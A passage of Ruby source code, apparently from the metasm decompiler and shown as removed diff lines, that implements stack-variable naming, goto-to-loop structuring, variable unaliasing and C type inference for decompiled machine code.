$VERBOSE - end - - if @dasm.function[ta] and type != :subfuncret - f = dasm.auto_label_at(ta, 'func') - ta = dasm.normalize($1) if f =~ /^thunk_(.*)/ - ret = decompile_func_rec(ta) if (ta != entry or di.block.to_subfuncret) - throw :restart, :restart if ret == :restart - else - @dasm.auto_label_at(ta, 'label') if blocks.find { |aa, at| aa == ta } - blocks.last[1] |= [ta] - todo << ta - end - } - end - blocks - end - - # backtraces an expression from addr - # returns an integer, a label name, or an Expression - # XXX '(GetProcAddr("foo"))()' should not decompile to 'foo()' - def backtrace_target(expr, addr) - if n = @dasm.backtrace(expr, addr).first - return expr if n == Expression::Unknown - n = Expression[n].reduce_rec - n = @dasm.get_label_at(n) || n - n = $1 if n.kind_of? ::String and n =~ /^thunk_(.*)/ - n - else - expr - end - end - - # patches instruction's backtrace_binding to replace things referring to a static stack offset from func start by :frameptr+off - def makestackvars(funcstart, blocks) - blockstart = nil - cache_di = nil - cache = {} # [i_s, e, type] => backtrace - tovar = lambda { |di, e, i_s| - case e - when Expression; Expression[tovar[di, e.lexpr, i_s], e.op, tovar[di, e.rexpr, i_s]].reduce - when Indirection; Indirection[tovar[di, e.target, i_s], e.len, e.origin] - when :frameptr; e - when ::Symbol - cache.clear if cache_di != di ; cache_di = di - vals = cache[[e, i_s, 0]] ||= @dasm.backtrace(e, di.address, :snapshot_addr => blockstart, - :include_start => i_s, :no_check => true, :terminals => [:frameptr]) - # backtrace only to blockstart first - if vals.length == 1 and ee = vals.first and ee.kind_of? Expression and (ee == Expression[:frameptr] or - (ee.lexpr == :frameptr and ee.op == :+ and ee.rexpr.kind_of? ::Integer) or - (not ee.lexpr and ee.op == :+ and ee.rexpr.kind_of? Indirection and eep = ee.rexpr.pointer and - (eep == Expression[:frameptr] or (eep.lexpr == :frameptr and eep.op == :+ and eep.rexpr.kind_of? ::Integer)))) - ee - else - # fallback on full run (could restart from blockstart with ee, but may reevaluate addr_binding.. - vals = cache[[e, i_s, 1]] ||= @dasm.backtrace(e, di.address, :snapshot_addr => funcstart, - :include_start => i_s, :no_check => true, :terminals => [:frameptr]) - if vals.length == 1 and ee = vals.first and (ee.kind_of? Expression and (ee == Expression[:frameptr] or - (ee.lexpr == :frameptr and ee.op == :+ and ee.rexpr.kind_of? ::Integer))) - ee - else e - end - end - else e - end - } - - # must not change bt_bindings until everything is backtracked - repl_bind = {} # di => bt_bd - - @dasm.cpu.decompile_makestackvars(@dasm, funcstart, blocks) { |block| - block.list.each { |di| - bd = di.backtrace_binding ||= @dasm.cpu.get_backtrace_binding(di) - newbd = repl_bind[di] = {} - bd.each { |k, v| - k = tovar[di, k, true] if k.kind_of? Indirection - next if k == Expression[:frameptr] or (k.kind_of? Expression and k.lexpr == :frameptr and k.op == :+ and k.rexpr.kind_of? ::Integer) - newbd[k] = tovar[di, v, false] - } - } - } - - repl_bind.each { |di, bd| di.backtrace_binding = bd } - end - - # give a name to a stackoffset (relative to start of func) - # 4 => :arg_0, -8 => :var_4 etc - def stackoff_to_varname(off) - if off >= @c_parser.typesize[:ptr]; 'arg_%X' % ( off-@c_parser.typesize[:ptr]) # 4 => arg_0, 8 => arg_4.. - elsif off > 0; 'arg_0%X' % off - elsif off == 0; 'retaddr' - elsif off <= -@dasm.cpu.size/8; 'var_%X' % (-off-@dasm.cpu.size/8) # -4 => var_0, -8 => var_4.. - else 'var_0%X' % -off - end - end - - # turns an Expression to a CExpression, create+declares needed variables in scope - def decompile_cexpr(e, scope, itype=nil) - case e - when Expression - if e.op == :'=' and e.lexpr.kind_of? ::String and e.lexpr =~ /^dummy_metasm_/ - decompile_cexpr(e.rexpr, scope, itype) - elsif e.op == :+ and e.rexpr.kind_of? ::Integer and e.rexpr < 0 - decompile_cexpr(Expression[e.lexpr, :-, -e.rexpr], scope, itype) - elsif e.lexpr - a = decompile_cexpr(e.lexpr, scope, itype) - C::CExpression[a, e.op, decompile_cexpr(e.rexpr, scope, itype)] - elsif e.op == :+ - decompile_cexpr(e.rexpr, scope, itype) - else - a = decompile_cexpr(e.rexpr, scope, itype) - C::CExpression[e.op, a] - end - when Indirection - case e.len - when 1, 2, 4, 8 - bt = C::BaseType.new("__int#{e.len*8}".to_sym) - else - bt = C::Struct.new - bt.members = [C::Variable.new('data', C::Array.new(C::BaseType.new(:__int8), e.len))] - end - itype = C::Pointer.new(bt) - p = decompile_cexpr(e.target, scope, itype) - p = C::CExpression[[p], itype] if not p.type.kind_of? C::Pointer - C::CExpression[:*, p] - when ::Integer - C::CExpression[e] - when C::CExpression - e - else - name = e.to_s - if not s = scope.symbol_ancestors[name] - s = C::Variable.new - s.type = C::BaseType.new(:__int32) - case e - when ::String # edata relocation (rel.length = size of pointer) - return @c_parser.toplevel.symbol[e] || new_global_var(e, itype || C::BaseType.new(:int), scope) - when ::Symbol; s.storage = :register ; s.add_attribute("register(#{name})") - else s.type.qualifier = [:volatile] - puts "decompile_cexpr unhandled #{e.inspect}, using #{e.to_s.inspect}" if $VERBOSE - end - s.name = name - scope.symbol[s.name] = s - scope.statements << C::Declaration.new(s) - end - s - end - end - - # simplify goto -> goto / goto -> return - def simplify_goto(scope, keepret = false) - if not keepret and scope.statements[-1].kind_of? C::Return and not scope.statements[-2].kind_of? C::Label - scope.statements.insert(-2, C::Label.new("ret_label")) - end - - jumpto = {} - walk(scope) { |s| - next if not s.kind_of? C::Block - s.statements.each_with_index { |ss, i| - case ss - when C::Goto, C::Return - while l = s.statements[i -= 1] and l.kind_of? C::Label - jumpto[l.name] = ss - end - end - } - } - - simpler = lambda { |s| - case s - when C::Goto - if jumpto[s.target] - r = jumpto[s.target].dup - r.value = r.value.deep_dup if r.kind_of? C::Return and r.value.kind_of? C::CExpression - r - end - when C::Return - if not keepret and scope.statements[-1].kind_of? C::Return and s.value == scope.statements[-1].value and s != scope.statements[-1] - C::Goto.new(scope.statements[-2].name) - end - end - } - - walk(scope) { |s| - case s - when C::Block - s.statements.each_with_index { |ss, i| - if sp = simpler[ss] - ss = s.statements[i] = sp - end - } - when C::If - if sp = simpler[s.bthen] - s.bthen = sp - end - end - } - - # remove unreferenced labels - remove_labels(scope) - - walk(scope) { |s| - next if not s.kind_of? C::Block - del = false - # remove dead code goto a; goto b; if (0) { z: bla; } => rm goto b - s.statements.delete_if { |st| - case st - when C::Goto, C::Return - olddel = del - del = true - olddel - else - del = false - end - } - # if () { goto x; } x: - s.statements.each_with_index { |ss, i| - if ss.kind_of? C::If - t = ss.bthen - t = t.statements.first if t.kind_of? C::Block - if t.kind_of? C::Goto and s.statements[i+1].kind_of? C::Label and s.statements[i+1].name == t.target - ss.bthen = C::Block.new(scope) - end - end - } - } - - remove_labels(scope) - end - - # changes ifgoto, goto to while/ifelse.. - def decompile_controlseq(scope) - # TODO replace all this crap by a method using the graph representation - scope.statements = decompile_cseq_if(scope.statements, scope) - remove_labels(scope) - scope.statements = decompile_cseq_if(scope.statements, scope) - remove_labels(scope) - # TODO harmonize _if/_while api (if returns a replacement, while patches) - decompile_cseq_while(scope.statements, scope) - decompile_cseq_switch(scope) - end - - # optimize if() { a; } to if() a; - def optimize_ctrl(scope) - simplify_goto(scope, true) - - # break/continue - # XXX if (foo) while (bar) goto bla; bla: should => break - walk = lambda { |e, brk, cnt| - case e - when C::Block - walk[e.statements, brk, cnt] - e - when ::Array - e.each_with_index { |st, i| - case st - when C::While, C::DoWhile - l1 = (e[i+1].name if e[i+1].kind_of? C::Label) - l2 = (e[i-1].name if e[i-1].kind_of? C::Label) - e[i].body = walk[st.body, l1, l2] - else - e[i] = walk[st, brk, cnt] - end - } - e - when C::If - e.bthen = walk[e.bthen, brk, cnt] if e.bthen - e.belse = walk[e.belse, brk, cnt] if e.belse - e - when C::While, C::DoWhile - e.body = walk[e.body, nil, nil] - e - when C::Goto - if e.target == brk - C::Break.new - elsif e.target == cnt - C::Continue.new - else e - end - else e - end - } - walk[scope, nil, nil] - - remove_labels(scope) - - # while (1) { a; if(b) { c; return; }; d; } => while (1) { a; if (b) break; d; } c; - while st = scope.statements.last and st.kind_of? C::While and st.test.kind_of? C::CExpression and - not st.test.op and st.test.rexpr == 1 and st.body.kind_of? C::Block - break if not i = st.body.statements.find { |ist| - ist.kind_of? C::If and not ist.belse and ist.bthen.kind_of? C::Block and ist.bthen.statements.last.kind_of? C::Return - } - walk(i.bthen.statements) { |sst| sst.outer = i.bthen.outer if sst.kind_of? C::Block and sst.outer == i.bthen } - scope.statements.concat i.bthen.statements - i.bthen = C::Break.new - end - - patch_test = lambda { |ce| - ce = ce.rexpr if ce.kind_of? C::CExpression and ce.op == :'!' - # if (a+1) => if (a != -1) - if ce.kind_of? C::CExpression and (ce.op == :+ or ce.op == :-) and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr.kind_of? ::Integer and ce.lexpr - ce.rexpr.rexpr = -ce.rexpr.rexpr if ce.op == :+ - ce.op = :'!=' - end - } - - walk(scope) { |ce| - case ce - when C::If - patch_test[ce.test] - if ce.bthen.kind_of? C::Block - case ce.bthen.statements.length - when 1 - walk(ce.bthen.statements) { |sst| sst.outer = ce.bthen.outer if sst.kind_of? C::Block and sst.outer == ce.bthen } - ce.bthen = ce.bthen.statements.first - when 0 - if not ce.belse and i = ce.bthen.outer.statements.index(ce) - ce.bthen.outer.statements[i] = ce.test # TODO remove sideeffectless parts - end - end - end - if ce.belse.kind_of? C::Block and ce.belse.statements.length == 1 - walk(ce.belse.statements) { |sst| sst.outer = ce.belse.outer if sst.kind_of? C::Block and sst.outer == ce.belse } - ce.belse = ce.belse.statements.first - end - when C::While, C::DoWhile - patch_test[ce.test] - if ce.body.kind_of? C::Block - case ce.body.statements.length - when 1 - walk(ce.body.statements) { |sst| sst.outer = ce.body.outer if sst.kind_of? C::Block and sst.outer == ce.body } - ce.body = ce.body.statements.first - when 0 - if ce.kind_of? C::DoWhile and i = ce.body.outer.statements.index(ce) - ce = ce.body.outer.statements[i] = C::While.new(ce.test, ce.body) - end - ce.body = nil - end - end - end - } - walk(scope) { |ce| - next if not ce.kind_of? C::Block - st = ce.statements - st.length.times { |n| - while st[n].kind_of? C::If and st[n+1].kind_of? C::If and not st[n].belse and not st[n+1].belse and ( - (st[n].bthen.kind_of? C::Return and st[n+1].bthen.kind_of? C::Return and st[n].bthen.value == st[n+1].bthen.value) or - (st[n].bthen.kind_of? C::Break and st[n+1].bthen.kind_of? C::Break) or - (st[n].bthen.kind_of? C::Continue and st[n+1].bthen.kind_of? C::Continue)) - # if (a) return x; if (b) return x; => if (a || b) return x; - st[n].test = C::CExpression[st[n].test, :'||', st[n+1].test] - st.delete_at(n+1) - end - } - } - end - - # ifgoto => ifthen - # ary is an array of statements where we try to find if () {} [else {}] - # recurses to then/else content - def decompile_cseq_if(ary, scope) - return ary if forbid_decompile_ifwhile - # the array of decompiled statements to use as replacement - ret = [] - # list of labels appearing in ary - inner_labels = ary.grep(C::Label).map { |l| l.name } - while s = ary.shift - # recurse if it's not the first run - if s.kind_of? C::If - s.bthen.statements = decompile_cseq_if(s.bthen.statements, s.bthen) if s.bthen.kind_of? C::Block - s.belse.statements = decompile_cseq_if(s.belse.statements, s.belse) if s.belse.kind_of? C::Block - end - - # if (a) goto x; if (b) goto x; => if (a || b) goto x; - while s.kind_of? C::If and s.bthen.kind_of? C::Goto and not s.belse and ary.first.kind_of? C::If and ary.first.bthen.kind_of? C::Goto and - not ary.first.belse and s.bthen.target == ary.first.bthen.target - s.test = C::CExpression[s.test, :'||', ary.shift.test] - end - - # if (a) goto x; b; x: => if (!a) { b; } - if s.kind_of? C::If and s.bthen.kind_of? C::Goto and l = ary.grep(C::Label).find { |l_| l_.name == s.bthen.target } - # if {goto l;} a; l: => if (!) {a;} - s.test = C::CExpression.negate s.test - s.bthen = C::Block.new(scope) - s.bthen.statements = decompile_cseq_if(ary[0..ary.index(l)], s.bthen) - s.bthen.statements.pop # remove l: from bthen, it is in ary (was needed in bthen for inner ifs) - ary[0...ary.index(l)] = [] - end - - if s.kind_of? C::If and (s.bthen.kind_of? C::Block or s.bthen.kind_of? C::Goto) - s.bthen = C::Block.new(scope, [s.bthen]) if s.bthen.kind_of? C::Goto - - bts = s.bthen.statements - - # if (a) if (b) { c; } => if (a && b) { c; } - if bts.length == 1 and bts.first.kind_of? C::If and not bts.first.belse - s.test = C::CExpression[s.test, :'&&', bts.first.test] - bts = bts.first.bthen - bts = s.bthen.statements = bts.kind_of?(C::Block) ? bts.statements : [bts] - end - - # if (a) { if (b) goto c; d; } c: => if (a && !b) { d; } - if bts.first.kind_of? C::If and l = bts.first.bthen and (l = l.kind_of?(C::Block) ? l.statements.first : l) and l.kind_of? C::Goto and ary[0].kind_of? C::Label and l.target == ary[0].name - s.test = C::CExpression[s.test, :'&&', C::CExpression.negate(bts.first.test)] - if e = bts.shift.belse - bts.unshift e - end - end - - # if () { goto a; } a: - if bts.last.kind_of? C::Goto and ary[0].kind_of? C::Label and bts.last.target == ary[0].name - bts.pop - end - - # if { a; goto outer; } b; return; => if (!) { b; return; } a; goto outer; - if bts.last.kind_of? C::Goto and not inner_labels.include? bts.last.target and g = ary.find { |ss| ss.kind_of? C::Goto or ss.kind_of? C::Return } and g.kind_of? C::Return - s.test = C::CExpression.negate s.test - ary[0..ary.index(g)], bts[0..-1] = bts, ary[0..ary.index(g)] - end - - # if { a; goto l; } b; l: => if {a;} else {b;} - if bts.last.kind_of? C::Goto and l = ary.grep(C::Label).find { |l_| l_.name == bts.last.target } - s.belse = C::Block.new(scope) - s.belse.statements = decompile_cseq_if(ary[0...ary.index(l)], s.belse) - ary[0...ary.index(l)] = [] - bts.pop - end - - # if { a; l: b; goto any;} c; goto l; => if { a; } else { c; } b; goto any; - if not s.belse and (bts.last.kind_of? C::Goto or bts.last.kind_of? C::Return) and g = ary.grep(C::Goto).first and l = bts.grep(C::Label).find { |l_| l_.name == g.target } - s.belse = C::Block.new(scope) - s.belse.statements = decompile_cseq_if(ary[0...ary.index(g)], s.belse) - ary[0..ary.index(g)], bts[bts.index(l)..-1] = bts[bts.index(l)..-1], [] - end - - # if { a; b; c; } else { d; b; c; } => if {a;} else {d;} b; c; - if s.belse - bes = s.belse.statements - while not bts.empty? - if bts.last.kind_of? C::Label; ary.unshift bts.pop - elsif bes.last.kind_of? C::Label; ary.unshift bes.pop - elsif bts.last.to_s == bes.last.to_s; ary.unshift bes.pop ; bts.pop - else break - end - end - - # if () { a; } else { b; } => if () { a; } else b; - # if () { a; } else {} => if () { a; } - case bes.length - when 0; s.belse = nil - #when 1; s.belse = bes.first - end - end - - # if () {} else { a; } => if (!) { a; } - # if () { a; } => if () a; - case bts.length - when 0; s.test, s.bthen, s.belse = C::CExpression.negate(s.test), s.belse, nil if s.belse - #when 1; s.bthen = bts.first # later (allows simpler handling in _while) - end - end - - # l1: l2: if () goto l1; goto l2; => if(!) goto l2; goto l1; - if s.kind_of? C::If - ls = s.bthen - ls = ls.statements.last if ls.kind_of? C::Block - if ls.kind_of? C::Goto - if li = inner_labels.index(ls.target) - table = inner_labels - else - table = ary.map { |st| st.name if st.kind_of? C::Label }.compact.reverse - li = table.index(ls.target) || table.length - end - g = ary.find { |ss| - break if ss.kind_of? C::Return - next if not ss.kind_of? C::Goto - table.index(ss.target).to_i > li - } - if g - s.test = C::CExpression.negate s.test - if not s.bthen.kind_of? C::Block - ls = C::Block.new(scope) - ls.statements << s.bthen - s.bthen = ls - end - ary[0..ary.index(g)], s.bthen.statements = s.bthen.statements, decompile_cseq_if(ary[0..ary.index(g)], scope) - end - end - end - - ret << s - end - ret - end - - def decompile_cseq_while(ary, scope) - return if forbid_decompile_ifwhile - - # find the next instruction that is not a label - ni = lambda { |l| ary[ary.index(l)..-1].find { |s| not s.kind_of? C::Label } } - - # TODO XXX get rid of #index - finished = false ; while not finished ; finished = true # 1.9 does not support 'retry' - ary.each { |s| - case s - when C::Label - if ss = ni[s] and ss.kind_of? C::If and not ss.belse and ss.bthen.kind_of? C::Block - if ss.bthen.statements.last.kind_of? C::Goto and ss.bthen.statements.last.target == s.name - ss.bthen.statements.pop - if l = ary[ary.index(ss)+1] and l.kind_of? C::Label - ss.bthen.statements.grep(C::If).each { |i| - i.bthen = C::Break.new if i.bthen.kind_of? C::Goto and i.bthen.target == l.name - } - end - ary[ary.index(ss)] = C::While.new(ss.test, ss.bthen) - elsif ss.bthen.statements.last.kind_of? C::Return and g = ary[ary.index(s)+1..-1].reverse.find { |_s| _s.kind_of? C::Goto and _s.target == s.name } - wb = C::Block.new(scope) - wb.statements = decompile_cseq_while(ary[ary.index(ss)+1...ary.index(g)], wb) - w = C::While.new(C::CExpression.negate(ss.test), wb) - ary[ary.index(ss)..ary.index(g)] = [w, *ss.bthen.statements] - finished = false ; break #retry - end - end - if g = ary[ary.index(s)..-1].reverse.find { |_s| _s.kind_of? C::Goto and _s.target == s.name } - wb = C::Block.new(scope) - wb.statements = decompile_cseq_while(ary[ary.index(s)...ary.index(g)], wb) - w = C::While.new(C::CExpression[1], wb) - ary[ary.index(s)..ary.index(g)] = [w] - finished = false ; break #retry - end - if g = ary[ary.index(s)..-1].reverse.find { |_s| _s.kind_of? C::If and not _s.belse and gt = _s.bthen and - (gt = gt.kind_of?(C::Block) && gt.statements.length == 1 ? gt.statements.first : gt) and gt.kind_of? C::Goto and gt.target == s.name } - wb = C::Block.new(scope) - wb.statements = decompile_cseq_while(ary[ary.index(s)...ary.index(g)], wb) - w = C::DoWhile.new(g.test, wb) - ary[ary.index(s)..ary.index(g)] = [w] - finished = false ; break #retry - end - when C::If - decompile_cseq_while(s.bthen.statements, s.bthen) if s.bthen.kind_of? C::Block - decompile_cseq_while(s.belse.statements, s.belse) if s.belse.kind_of? C::Block - when C::While, C::DoWhile - decompile_cseq_while(s.body.statements, s.body) if s.body.kind_of? C::Block - end - } - end - ary - end - - # TODO - def decompile_cseq_switch(scope) - uncast = lambda { |e| e = e.rexpr while e.kind_of? C::CExpression and not e.op ; e } - walk(scope) { |s| - # XXX pfff... - next if not s.kind_of? C::If - # if (v < 12) return ((void(*)())(tableaddr+4*v))(); - t = s.bthen - t = t.statements.first if t.kind_of? C::Block and t.statements.length == 1 - next if not t.kind_of? C::Return or not t.respond_to? :from_instr - next if t.from_instr.comment.to_a.include? 'switch' - next if not t.value.kind_of? C::CExpression or t.value.op != :funcall or t.value.rexpr != [] or not t.value.lexpr.kind_of? C::CExpression or t.value.lexpr.op - p = uncast[t.value.lexpr.rexpr] - next if not p.kind_of? C::CExpression or p.op != :* or p.lexpr - p = uncast[p.rexpr] - next if not p.kind_of? C::CExpression or p.op != :+ - r, l = uncast[p.rexpr], uncast[p.lexpr] - r, l = l, r if r.kind_of? C::CExpression - next if not r.kind_of? ::Integer or not l.kind_of? C::CExpression or l.op != :* or not l.lexpr - lr, ll = uncast[l.rexpr], uncast[l.lexpr] - lr, ll = ll, lr if not ll.kind_of? ::Integer - next if ll != sizeof(nil, C::Pointer.new(C::BaseType.new(:void))) - base, index = r, lr - if s.test.kind_of? C::CExpression and (s.test.op == :<= or s.test.op == :<) and s.test.lexpr == index and - s.test.rexpr.kind_of? C::CExpression and not s.test.rexpr.op and s.test.rexpr.rexpr.kind_of? ::Integer - t.from_instr.add_comment 'switch' - sup = s.test.rexpr.rexpr - rng = ((s.test.op == :<) ? (0...sup) : (0..sup)) - from = t.from_instr.address - rng.map { |i| @dasm.backtrace(Indirection[base+ll*i, ll, from], from, :type => :x, :origin => from, :maxdepth => 0) } - @dasm.disassemble - throw :restart, :restart - end - puts "unhandled switch() at #{t.from_instr}" if $VERBOSE - } - end - - # remove unused labels - def remove_labels(scope) - return if forbid_optimize_labels - - used = [] - walk(scope) { |ss| - used |= [ss.target] if ss.kind_of? C::Goto - } - walk(scope) { |s| - next if not s.kind_of? C::Block - s.statements.delete_if { |l| - l.kind_of? C::Label and not used.include? l.name - } - } - - # remove implicit continue; at end of loop - walk(scope) { |s| - next if not s.kind_of? C::While - if s.body.kind_of? C::Block and s.body.statements.last.kind_of? C::Continue - s.body.statements.pop - end - } - end - - # checks if expr is a var (var or *&var) - def isvar(ce, var) - if var.stackoff and ce.kind_of? C::CExpression - return unless ce.op == :* and not ce.lexpr - ce = ce.rexpr - ce = ce.rexpr while ce.kind_of? C::CExpression and not ce.op - return unless ce.kind_of? C::CExpression and ce.op == :& and not ce.lexpr - ce = ce.rexpr - end - ce == var - end - - # checks if expr reads var - def ce_read(ce_, var) - isvar(ce_, var) or - walk_ce(ce_) { |ce| - case ce.op - when :funcall; break true if isvar(ce.lexpr, var) or ce.rexpr.find { |a| isvar(a, var) } - when :'='; break true if isvar(ce.rexpr, var) - break ce_read(ce.rexpr, var) if isvar(ce.lexpr, var) # *&var = 2 - else break true if isvar(ce.lexpr, var) or isvar(ce.rexpr, var) - end - } - end - - # checks if expr writes var - def ce_write(ce_, var) - walk_ce(ce_) { |ce| - break true if AssignOp.include?(ce.op) and (isvar(ce.lexpr, var) or - (((ce.op == :'++' or ce.op == :'--') and isvar(ce.rexpr, var)))) - } - end - - # patches a set of exprs, replacing oldce by newce - def ce_patch(exprs, oldce, newce) - walk_ce(exprs) { |ce| - case ce.op - when :funcall - ce.lexpr = newce if ce.lexpr == oldce - ce.rexpr.each_with_index { |a, i| ce.rexpr[i] = newce if a == oldce } - else - ce.lexpr = newce if ce.lexpr == oldce - ce.rexpr = newce if ce.rexpr == oldce - end - } - end - - - # duplicate vars per domain value - # eg eax = 1; foo(eax); eax = 2; bar(eax); => eax = 1; foo(eax) eax_1 = 2; bar(eax_1); - # eax = 1; if (bla) eax = 2; foo(eax); => no change - def unalias_vars(scope, func) - g = c_to_graph(scope) - - # unalias func args first, they may include __attr__((out)) needed by the others - funcalls = [] - walk_ce(scope) { |ce| funcalls << ce if ce.op == :funcall } - vars = scope.symbol.values.sort_by { |v| walk_ce(funcalls) { |ce| break true if ce.rexpr == v } ? 0 : 1 } - - # find the domains of var aliases - vars.each { |var| unalias_var(var, scope, g) } - end - - # duplicates a var per domain value - def unalias_var(var, scope, g = c_to_graph(scope)) - # [label, index] of references to var (reading it, writing it, ro/wo it (eg eax = *eax => eax_0 = *eax_1)) - read = {} - write = {} - ro = {} - wo = {} - - # list of [l, i] for which domain is not known - unchecked = [] - - # mark all exprs of the graph - # TODO handle var_14 __attribute__((out)) = &curvar <=> curvar write - r = var.has_attribute_var('register') - g.exprs.each { |label, exprs| - exprs.each_with_index { |ce, i| - if ce_read(ce, var) - if (ce.op == :'=' and isvar(ce.lexpr, var) and not ce_write(ce.rexpr, var)) or - (ce.op == :funcall and r and not ce_write(ce.lexpr, var) and not ce_write(ce.rexpr, var) and @dasm.cpu.abi_funcall[:changed].include?(r.to_sym)) - (ro[label] ||= []) << i - (wo[label] ||= []) << i - unchecked << [label, i, :up] << [label, i, :down] - else - (read[label] ||= []) << i - unchecked << [label, i] - end - elsif ce_write(ce, var) - (write[label] ||= []) << i - unchecked << [label, i] - end - } - } - - # stuff when filling the domain (flood algorithm) - dom = dom_ro = dom_wo = todo_up = todo_down = func_top = nil - - # flood by walking the graph up from [l, i] (excluded) - # marks stuff do walk down - walk_up = lambda { |l, i| - todo_w = [[l, i-1]] - done_w = [] - while o = todo_w.pop - next if done_w.include? o - done_w << o - l, i = o - loop do - if read[l].to_a.include? i - # XXX not optimal (should mark only the uppest read) - todo_down |= [[l, i]] if not dom.include? [l, i] - dom |= [[l, i]] - elsif write[l].to_a.include? i - todo_down |= [[l, i]] if not dom.include? [l, i] - dom |= [[l, i]] - break - elsif wo[l].to_a.include? i - todo_down |= [[l, i]] if not dom_wo.include? [l, i, :down] - dom_wo |= [[l, i, :down]] - break - end - i -= 1 - if i < 0 - g.from_optim[l].to_a.each { |ll| - todo_w << [ll, g.exprs[ll].to_a.length-1] - } - func_top = true if g.from_optim[l].to_a.empty? - break - end - end - end - } - - # flood by walking the graph down from [l, i] (excluded) - # malks stuff to walk up - walk_down = lambda { |l, i| - todo_w = [[l, i+1]] - done_w = [] - while o = todo_w.pop - next if done_w.include? o - done_w << o - l, i = o - loop do - if read[l].to_a.include? i - todo_up |= [[l, i]] if not dom.include? [l, i] - dom |= [[l, i]] - elsif write[l].to_a.include? i - break - elsif ro[l].to_a.include? i - todo_up |= [[l, i]] if not dom_ro.include? [l, i, :up] - dom_ro |= [[l, i, :up]] - break - end - i += 1 - if i >= g.exprs[l].to_a.length - g.to_optim[l].to_a.each { |ll| - todo_w << [ll, 0] - } - break - end - end - end - } - - # check it out - while o = unchecked.shift - dom = [] - dom_ro = [] - dom_wo = [] - func_top = false - - todo_up = [] - todo_down = [] - - # init - if read[o[0]].to_a.include? o[1] - todo_up << o - todo_down << o - dom << o - elsif write[o[0]].to_a.include? o[1] - todo_down << o - dom << o - elsif o[2] == :up - todo_up << o - dom_ro << o - elsif o[2] == :down - todo_down << o - dom_wo << o - else raise - end - - # loop - while todo_up.first or todo_down.first - todo_up.each { |oo| walk_up[oo[0], oo[1]] } - todo_up.clear - - todo_down.each { |oo| walk_down[oo[0], oo[1]] } - todo_down.clear - end - - unchecked -= dom + dom_wo + dom_ro - - next if func_top - - # patch - n_i = 0 - n_i += 1 while scope.symbol_ancestors[newvarname = "#{var.name}_a#{n_i}"] - - nv = var.dup - nv.storage = :register if nv.has_attribute_var('register') - nv.attributes = nv.attributes.dup if nv.attributes - nv.name = newvarname - scope.statements << C::Declaration.new(nv) - scope.symbol[nv.name] = nv - - dom.each { |oo| ce_patch(g.exprs[oo[0]][oo[1]], var, nv) } - dom_ro.each { |oo| - ce = g.exprs[oo[0]][oo[1]] - if ce.op == :funcall or ce.rexpr.kind_of? C::CExpression - ce_patch(ce.rexpr, var, nv) - else - ce.rexpr = nv - end - } - dom_wo.each { |oo| - ce = g.exprs[oo[0]][oo[1]] - if ce.op == :funcall - elsif ce.lexpr.kind_of? C::CExpression - ce_patch(ce.lexpr, var, nv) - else - ce.lexpr = nv - end - } - - # check if the var is only used as an __out__ parameter - if false and dom_ro.empty? and dom_wo.empty? and dom.length == 2 and # TODO - arg.has_attribute('out') and not arg.has_attribute('in') - # *(int32*)&var_10 = &var_4; - # set_pointed_value(*(int32*)&var_10); => writeonly var_4, may start a new domain - nv.add_attribute('out') - end - end - end - - # revert the unaliasing namechange of vars where no alias subsists - def simplify_varname_noalias(scope) - names = scope.symbol.keys - names.delete_if { |k| - next if not b = k[/^(.*)_a\d+$/, 1] - next if scope.symbol[k].stackoff.to_i > 0 - if not names.find { |n| n != k and (n == b or n[/^(.*)_a\d+$/, 1] == b) } - scope.symbol[b] = scope.symbol.delete(k) - scope.symbol[b].name = b - end - } - end - - # patch scope to transform :frameoff-x into &var_x - def namestackvars(scope) - off2var = {} - newvar = lambda { |o, n| - if not v = off2var[o] - v = off2var[o] = C::Variable.new - v.type = C::BaseType.new(:void) - v.name = n - v.stackoff = o - scope.symbol[v.name] = v - scope.statements << C::Declaration.new(v) - end - v - } - - scope.decompdata[:stackoff_name].each { |o, n| newvar[o, n] } - scope.decompdata[:stackoff_type].each { |o, t| newvar[o, stackoff_to_varname(o)] } - - walk_ce(scope) { |e| - next if e.op != :+ and e.op != :- - next if not e.lexpr.kind_of? C::Variable or e.lexpr.name != 'frameptr' - next if not e.rexpr.kind_of? C::CExpression or e.rexpr.op or not e.rexpr.rexpr.kind_of? ::Integer - off = e.rexpr.rexpr - off = -off if e.op == :- - v = newvar[off, stackoff_to_varname(off)] - e.replace C::CExpression[:&, v] - } - end - - # assign type to vars (regs, stack & global) - # types are found by subfunction argument types & indirections, and propagated through assignments etc - # TODO when updating the type of a var, update the type of all cexprs where it appears - def decompile_c_types(scope) - return if forbid_decompile_types - - # TODO *(int8*)(ptr+8); *(int32*)(ptr+12) => automatic struct - - # name => type - types = {} - - pscopevar = lambda { |e| - e = e.rexpr while e.kind_of? C::CExpression and not e.op and e.rexpr.kind_of? C::CExpression - if e.kind_of? C::CExpression and e.op == :& and not e.lexpr and e.rexpr.kind_of? C::Variable - e.rexpr.name if scope.symbol[e.rexpr.name] - end - } - scopevar = lambda { |e| - e = e.rexpr if e.kind_of? C::CExpression and not e.op - if e.kind_of? C::Variable and scope.symbol[e.name] - e.name - elsif e.kind_of? C::CExpression and e.op == :* and not e.lexpr - pscopevar[e.rexpr] - end - } - globalvar = lambda { |e| - e = e.rexpr if e.kind_of? C::CExpression and not e.op - if e.kind_of? ::Integer and @dasm.get_section_at(e) - e - elsif e.kind_of? C::Variable and not scope.symbol[e.name] and @c_parser.toplevel.symbol[e.name] and @dasm.get_section_at(e.name) - e.name - end - } - - # check if a newly found type for o is better than current type - # order: foo* > void* > foo - better_type = lambda { |t0, t1| - t1 == C::BaseType.new(:void) or (t0.pointer? and t1.kind_of? C::BaseType) or t0.untypedef.kind_of? C::Union or - (t0.kind_of? C::BaseType and t1.kind_of? C::BaseType and (@c_parser.typesize[t0.name] > @c_parser.typesize[t1.name] or (t0.name == t1.name and t0.qualifier))) or - (t0.pointer? and t1.pointer? and better_type[t0.pointed, t1.pointed]) - } - - update_global_type = lambda { |e, t| - if ne = new_global_var(e, t, scope) - ne.type = t if better_type[t, ne.type] # TODO patch existing scopes using ne - # TODO rename (dword_xx -> byte_xx etc) - e = scope.symbol_ancestors[e] || e if e.kind_of? String # exe reloc - walk_ce(scope) { |ce| - ce.lexpr = ne if ce.lexpr == e - ce.rexpr = ne if ce.rexpr == e - if ce.op == :* and not ce.lexpr and ce.rexpr == ne and ne.type.pointer? and ne.type.pointed.untypedef.kind_of? C::Union - # *struct -> struct->bla - ce.rexpr = structoffset(ne.type.pointed.untypedef, ce.rexpr, 0, sizeof(ce.type)) - elsif ce.lexpr == ne or ce.rexpr == ne - # set ce type according to l/r - # TODO set ce.parent type etc - 